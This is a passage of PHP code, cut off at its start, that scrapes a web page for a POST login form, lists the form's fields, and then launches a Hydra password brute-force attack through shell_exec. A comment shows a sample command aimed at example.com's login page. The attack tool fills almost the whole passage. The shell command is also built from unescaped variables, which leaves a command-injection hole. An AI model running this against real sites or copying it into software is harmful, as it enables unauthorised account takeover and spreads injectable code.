loadHTML($html); $forms = $dom->getElementsByTagName("form"); foreach ($forms as $form) { #echo $form->nodeValue, PHP_EOL; if (strtolower($form->getAttribute("method")) === "post") { $inputs = $form->getElementsByTagName("input"); $post_data = array(); foreach ($inputs as $input) { $name = $input->getAttribute("name"); $value = $input->getAttribute("value"); echo "*".$name." -> ".$value."*", PHP_EOL; if (!empty($name)) { $post_data[$name] = $value; } } echo "Final: Name -> ".$name."; Value -> ".$value, PHP_EOL; # -L references userlist. Should be "-l" in that case # Full example: hydra -l admin -P wordlist.txt example.com http-post-form "/login.php:uname=admin&pass=^PASS^:S=302" $command = "hydra -l $username -P $wordlist $domain $method \"$args\""; $output = shell_exec($command); echo $output, PHP_EOL; break; } } ?>